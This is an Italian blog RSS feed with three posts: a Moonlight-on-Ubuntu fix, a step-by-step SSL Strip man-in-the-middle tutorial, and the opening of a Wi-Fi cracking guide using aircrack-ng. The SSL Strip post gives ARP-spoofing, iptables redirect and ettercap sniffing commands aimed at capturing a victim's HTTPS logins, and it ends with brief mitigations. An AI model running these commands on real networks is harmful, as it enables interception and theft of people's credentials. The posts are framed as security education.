<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Arturu.it &#187; Ubuntu &amp; C.</title> <atom:link href="http://www.arturu.it/blog/category/ubuntu-c/feed/" rel="self" type="application/rss+xml" /><link>http://www.arturu.it/blog</link> <description>Web 3.0? premi f11, poi f5 e poi sorridi...</description> <lastBuildDate>Wed, 11 Jan 2012 22:17:10 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Ubuntu come vedere la rai con il player Silverlight (Moonlight) della Microsoft</title><link>http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/</link> <comments>http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/#comments</comments> <pubDate>Sun, 19 Jun 2011 17:35:57 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Microsoft]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[moonlight]]></category> <category><![CDATA[rai]]></category> <category><![CDATA[silverlight]]></category> <category><![CDATA[ubuntu]]></category> <category><![CDATA[video]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=743</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/microsoft/" title="Microsoft">Microsoft</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p>Da molto tempo cerco una soluzione per vedere i programmi Rai su Ubuntu, oggi su Rai Tre mentre vedevo uno dei miei programmi preferiti: Va&#8217; Pensiero (tre secoli dell&#8217;opera lirica spiegata da Antonio Pappano); improvvisamente Rai Tre non si vede [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/microsoft/" title="Microsoft">Microsoft</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p><p><a
rel="attachment wp-att-745" href="http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/images/"><img
class="alignleft size-full wp-image-745" title="Silverlight" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/images.jpeg" alt="" width="131" height="146" /></a>Da molto tempo cerco una soluzione per vedere i programmi Rai su Ubuntu, oggi su Rai Tre mentre vedevo uno dei miei programmi preferiti: <strong>Va&#8217; Pensiero</strong> (tre secoli dell&#8217;opera lirica spiegata da Antonio Pappano); improvvisamente Rai Tre non si vede più. Panico!!! Faccio partire il mio Ubuntu e dopo 10 secondi sono sul sito Rai. Come tutti sanno, la Rai ha scelto di adottare un sistema proprietario della Microsoft per diffondere in rete i suoi canali televisivi: Silverlight. Questa scelta per chi utilizza Ubuntu o i sistemi linux in generale è una tragedia, perché, anche se esiste una alternativa open (Moonlight) sui siti Rai non ha mai funzionato o funzionato male. L&#8217;ultima volta che ho provato ad installare Silverligh mi faceva vedere solo la pubblicità, quando andava a caricare il video mi usciva un avviso che mi avvertiva che Silverlight non era installato, bho, ancora non mi sono spiegato il perché funzionasse soltanto quando c&#8217;era della pubblicità da visionare.</p><p>Oggi è successo un evento che mi ha fatto risolvere il problema, potenza della lirica?</p><p><span
id="more-743"></span></p><p>Installo per l&#8217;ennesima volta Moonlight (Silverlight per il mondo Open):</p><ul><li> vado sul sito <a
title="Installare Silverlight su Ubuntu Linux" href="http://www.go-mono.com/moonlight/download.aspx" target="_blank">http://www.go-mono.com/moonlight/download.aspx</a> e clicco su download, (utilizzare <a
title="Installare Silverlight su Ubuntu Linux" href="http://go-mono.com/moonlight/download.aspx" target="_blank">http://go-mono.com/moonlight/download.aspx</a> in caso non funzionasse il primo, link segnalato nei commenti da Leonardo);</li><li>mi si apre la finestrella di installazione dei plugin di firefox e clicco su installa;</li><li>aspetto il download (14Mb circa) e riavvio firefox;</li></ul><p>A questo punto vado sul sito della Rai e mi appare una finestra che fino ad oggi non mi era mai apparsa: &#8220;Moonlight Codecs Installer&#8221;, praticamente sono dei codec per leggere i video (non potevano usare lo stesso codec della pubblicità, visto che funziona?):</p><ul><li>clicco su &#8220;Install Codecs&#8221;;</li><li>accetto la licenza della Microsoft (erano anni che non vedevo una richiesta simile);</li><li>inizia il download, appena finito clicco su Chiudi.</li><li>Ricarico la pagina, mi sorbisco altri 30 secondi di pubblicità, e FUNZIONA!!!</li></ul><p>Monto contento mi finisco di vedere la mia puntata e mi faccio una domanda, funzionerà anche sul portatile? Rifaccio tutto il procedimento e&#8230; si sente l&#8217;audio ma il video non si vede. GRRR&#8230; Calma!!! E&#8217; solo un problema di impostazioni, se sul fisso ha funzionato perché non deve funzionare anche sul portatile?</p><ul><li>clic con il tasto destro dentro il player e scelgo &#8220;Moonlight Settings&#8221;;</li><li>clic sull&#8217;ultima scheda &#8220;Advanced&#8221; e tolgo l&#8217;impostazione &#8220;Use hardware accelleration&#8221;, sul mio vecchiotto portatile la scheda video non ha accelleraizone hardware.</li></ul><p>Spero di esser stato utile, subito sotto le immagini in sequenza per chi non ha voglia di leggere tutto quello che ho scritto.</p><p>Arturu.it</p><p><a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/images/' title='Silverlight'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/images-150x150.jpg" class="attachment-thumbnail" alt="Silverlight" title="Silverlight" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-0/' title='ubuntu-rai-moonlight-silverlight-0'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-0-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-0" title="ubuntu-rai-moonlight-silverlight-0" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-1/' title='ubuntu-rai-moonlight-silverlight-1'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-1-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-1" title="ubuntu-rai-moonlight-silverlight-1" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-2/' title='ubuntu-rai-moonlight-silverlight-2'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-2-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-2" title="ubuntu-rai-moonlight-silverlight-2" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-3/' title='ubuntu-rai-moonlight-silverlight-3'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-3-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-3" title="ubuntu-rai-moonlight-silverlight-3" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-4/' title='ubuntu-rai-moonlight-silverlight-4'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-4-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-4" title="ubuntu-rai-moonlight-silverlight-4" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-5/' title='ubuntu-rai-moonlight-silverlight-5'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-5-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-5" title="ubuntu-rai-moonlight-silverlight-5" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/ubuntu-rai-moonlight-silverlight-6/' title='ubuntu-rai-moonlight-silverlight-6'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/06/ubuntu-rai-moonlight-silverlight-6-150x150.png" class="attachment-thumbnail" alt="ubuntu-rai-moonlight-silverlight-6" title="ubuntu-rai-moonlight-silverlight-6" /></a></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/06/19/ubuntu-vedere-la-rai-con-il-player-silverlightmoonlight-microsoft/feed/</wfw:commentRss> <slash:comments>10</slash:comments> </item> <item><title>Ssl strip</title><link>http://www.arturu.it/blog/2010/10/20/ssl-strip/</link> <comments>http://www.arturu.it/blog/2010/10/20/ssl-strip/#comments</comments> <pubDate>Wed, 20 Oct 2010 15:43:50 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[Vulnerabilità]]></category> <category><![CDATA[instantempo]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[wireless]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=704</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p>Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All&#8217;interno di una [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p><p><img
class="alignleft" title="SSL" src="http://luxsci.com/images/icons/net_sec/128x128/shadow/lock_ok.gif" alt="Icona" width="128" height="128" />Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al <a
href="http://www.blackhat.com/" target="_blank">Black Hat</a> DC del 2009 che rientra nella categoria dei MITM (<a
href="http://it.wikipedia.org/wiki/Man_in_the_middle" target="_blank">Main in the middle</a>). All&#8217;interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell&#8217;attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell&#8217;attaccante diventa un &#8220;nodo invisibile&#8221; su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.</p><p><span
id="more-704"></span></p><h3>Configurazione di SSL Strip</h3><p>Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.</p><p>La prima operazione da fare è scaricare SSLStrip da: <a
href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz" target="_blank">http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz</a></p><p>Scompattare il pacchetto, utilizzare &#8220;tar -zxvf sslstrip-0.4.tar.gz&#8221; se si sta operando da terminale.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$</pre><p>Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con &#8220;python setup.py build&#8221; (è necessario avere installato l&#8217;interprete python)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -&gt; build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Successivamente bisogna installare tutto con il comando &#8220;sudo python setup.py install&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -&gt; /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Appena installato SSLStrip, bisogna procedere all&#8217;installazione di arpspoof. Arpspoof è un programma che fa credere ad  un host (computer della vittima) che l&#8217;indirizzo MAC dell&#8217;attaccante è l&#8217;indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all&#8217;attaccante tutto il suo traffico di rete; il  kernel dell&#8217;attaccante, ad eccezione per il traffico destinato alla  porta 80, reindirizza tutto a $ listenPort (10000, per esempio).</p><p>Installiamo arpspoof con il comando &#8220;sudo apt-get install dsniff&#8221; e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando &#8220;sudo apt-get install ettercap&#8221;.</p><p>Adesso che abbiamo installato tutto il software si può passare all&#8217;utilizzo.</p><h3>Utilizzo di SSLStrip</h3><p>Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all&#8217;interno della rete LAN, da terminale digitiamo &#8220;ifconfig&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull&#8217;interfaccia wireless, l&#8217;ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l&#8217;ho modificato perché non mi va di pubblicarlo).</p><p>Bisogna trovare l&#8217;indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale &#8221; ip route show | grep default | awk &#8216;{ print $3}&#8217; &#8220;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>in questo caso l&#8217;indirizzo del gateway è 10.10.100.254.<br
/> Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.<br
/> Nel primo tab eseguire &#8220;sudo arpspoof -t 10.10.100.2 10.10.100.254&#8243;, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00</pre><p>Nella seconda scheda eseguiamo il comando &#8220;iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 1000&#8243;, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Subito dopo facciamo partire &#8220;sslstrip&#8221; e si lascia in esecuzione</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...</pre><p>Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando &#8220;sudo ettercap -Tqz&#8221;, aspettiamo che la nostra vittima digiti login e password su una connessione &#8220;sicura&#8221;, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp; NaGA
Listening on wlan... (Wireless)
  wlan0 -&gt;	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help</pre><p>Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.</p><h3>Utilizzo di SSLStrip secondo la documentazione</h3><p>Secondo gli autori di SSLStrip l&#8217;utilizzo del tool dovrebbe essere il seguente:</p><ul><li>Flip your machine into forwarding mode. (echo &#8220;1&#8243; &gt; /proc/sys/net/ipv4/ip_forward)</li><li>Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t  nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port  &lt;listenPort&gt;)</li><li>Run sslstrip. (sslstrip.py -l &lt;listenPort&gt;)</li><li>Run arpspoof to convince a network they should send their traffic  to you. (arpspoof -i &lt;interface&gt; -t &lt;targetIP&gt;  &lt;gatewayIP&gt;)</li></ul><p>In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.</p><p>Un articolo interessante si può leggere su: <a
href="http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html" target="_blank">http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html</a> ma ancora non ho avuto il tempo di provare.</p><h3>Funziona sempre?</h3><p>Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l&#8217;attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l&#8217;attacco non va a buon fine, ma l&#8217;utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l&#8217;utente può decidere di abbandonare la connessione (comunque se l&#8217;utente accetta il certificato viene restituita una pagina bianca), invece con Opera l&#8217;attacco va a buon fine.</p><h3>Soluzioni</h3><p>Per ora le soluzioni che mi sento di suggerire sono:</p><ul><li>Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;</li><li>Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);</li><li>Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX</li></ul><p>Saluti Arturu.it</p><p>PS Come tutti hanno capito non si trattava di un articolo che parla dello &#8220;Strip&#8221; Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l&#8217;articolo è finito&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2010/10/20/ssl-strip/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Cracking di reti Wi-Fi</title><link>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/</link> <comments>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/#comments</comments> <pubDate>Wed, 21 Oct 2009 21:23:55 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[wi-fi]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=649</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p>Gli ultimi anni sono stati segnati da una diffusione significativa delle connessioni wi-fi sia in ambito domestico che lavorativo. In entrambi gli ambiti, tuttavia, troppo spesso si sottovalutano i rischi connessi alla sicurezza delle reti wireless; il più degli utenti, [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p><p><img
class="alignleft size-full wp-image-575" title="tux_scorpione" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux_scorpione.jpg" alt="tux_scorpione" width="100" height="100" />Gli ultimi anni sono stati segnati da una diffusione significativa delle <strong>connessioni wi-fi</strong> sia in ambito domestico che lavorativo. In entrambi gli ambiti, tuttavia, troppo spesso si sottovalutano i rischi connessi alla sicurezza delle reti wireless; il più degli utenti, infatti, ignora che il cracking di queste reti può essere davvero molto semplice e, fatto ancor più grave, può essere messo in pratica con successo anche da utenti poco esperti.</p><p>Questo breve articolo si propone di illustrare, anche attraverso esempi pratici, le tecniche di cracking più comuni al fine di consentire al lettore di adottare le opportune contromisure necessarie a mettere in sicurezza la propria rete senza fili.<br
/> <span
id="more-649"></span><br
/> <strong>Reti WEP e WPA</strong></p><p>Attualmente la quasi totalità delle reti wi-fi è protetta mediante gli standard WEP e WPA-PSK.<br
/> Il <strong>WEP</strong> (Wired Equivalent Privacy) è uno standard basato sull&#8217;algoritmo di cifratura dei dati RC4, il quale ha il vantaggio di essere molto veloce ma poco sicuro: nella particolare implementazione utilizzata, infatti, sono stati riscontrati difetti gravissimi che permettono il calcolo della chiave di rete a partire da dati ottenuti dall&#8217;analisi del traffico criptato.<br
/> Il <strong>WPA-PSK</strong> (Wi-Fi Protected Access / Pre Shared Keys) è un protocollo creato per tamponare il problema scaturito dal fallimento del WEP. Utilizza chiavi di criptazione dinamiche a 128 bit e combina la chiave in uso con un vettore di inizializzazione (IVS). Le chiavi variano dinamicamente e la stessa non compare mai due volte consecutive.<br
/> <strong>WPA2-AES</strong> è l&#8217;evoluzione dei protocolli precedenti, più robusto dei due sistemi appena trattati.</p><p><strong>La suite Aircrack-ng</strong></p><p>Per gli esempi pratici di questo articolo useremo la nota suite per l&#8217;auditing di reti wireless <em>Aircrack-ng</em> su sistema operativo Linux (è possibile, anche se più problematico, utilizzare la suite anche su sistemi Windows).<br
/> Aircrack-ng offre all&#8217;utilizzatore un <em>packet sniffer</em> e una serie di tool di analisi che possono essere impiegati con qualsiasi scheda wireless munita di supporto per il <em>monitor mode</em>.</p><p>Dopo aver effettuato il download dal sito ufficiale dovremo procedere all&#8217;installazione; per farlo si consiglia di seguire le istruzioni presenti sul sito dell&#8217;autore; se avete Ubuntu ve la caverete con l&#8217;istruzione:</p><blockquote><pre>$ sudo apt-get install aircrack-ng</pre></blockquote><p><strong>Il Monitor Mode</strong></p><p>Le schede di rete funzionano normalmente in una modalità che legge in prima istanza il <strong>MAC Address</strong> del pacchetto catturato e lo scarta automaticamente se non è indirizzato nostro host. Per i nostri fini è invece necessario poter catturare tutto il traffico &#8220;circolante&#8221;.<br
/> La modalità <strong>Monitor</strong> permette la ricezione del pacchetto anche nel caso in cui il nostro host non sia associato con l&#8217;access point o il terminale che lo ha generato.<br
/> Per impostare la scheda di rete nella modalità Monitor, si utilizzano comunemente le seguenti istruzioni:</p><blockquote><pre>$ su
# airmon-ng stop &lt;interfaccia&gt;
# airmon-ng start &lt;interfaccia&gt;</pre></blockquote><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/airmon.png" border="0" alt="" /></p><p>Per verificare se il <strong>Monitor Mode</strong> sia stato attivato correttamente sarà sufficiente lanciare il comando:</p><blockquote><pre># iwconfig</pre></blockquote><p>e leggere il valore del campo Mode dall&#8217;output del comando.</p><p
align="center"><img
